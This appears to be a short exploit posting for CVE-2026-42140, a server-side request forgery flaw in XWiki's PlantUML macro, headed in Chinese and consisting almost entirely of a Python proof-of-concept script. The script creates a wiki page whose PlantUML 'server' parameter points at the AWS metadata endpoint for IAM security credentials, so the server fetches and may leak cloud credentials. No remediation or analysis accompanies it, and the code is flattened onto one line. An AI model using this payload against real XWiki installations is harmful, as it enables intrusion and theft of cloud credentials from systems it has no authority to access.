CVE-2026-42140 PlantUML Macro服务端请求伪造漏洞

import requests # Target XWiki instance URL target_url = "http://vulnerable-xwiki-instance/xwiki/bin/view/Main/WebHome" # Internal IP address to scan (e.g., AWS metadata service) internal_target = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" # The payload exploiting the 'server' parameter in PlantUML Macro # Syntax depends on how the macro is invoked (e.g., in wiki content) payload_content = "{{plantuml server='{}'}}\n@startuml\nBob -> Alice : SSRF Test\n@enduml".format(internal_target) # Data to simulate editing or creating a page with the malicious macro # Note: Actual API endpoints may vary based on XWiki configuration data = { "form_token": "<valid_token_if_needed>", "content": payload_content, "title": "SSRF_PoC_Page" } try: # Sending the request to create/update the page response = requests.post(target_url, data=data) if response.status_code == 200: print("[+] Payload sent successfully.") print("[+] Check the server logs or the rendered page for SSRF indicators.") print("[+] If the internal service is accessible, sensitive data might be leaked in the diagram rendering process.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")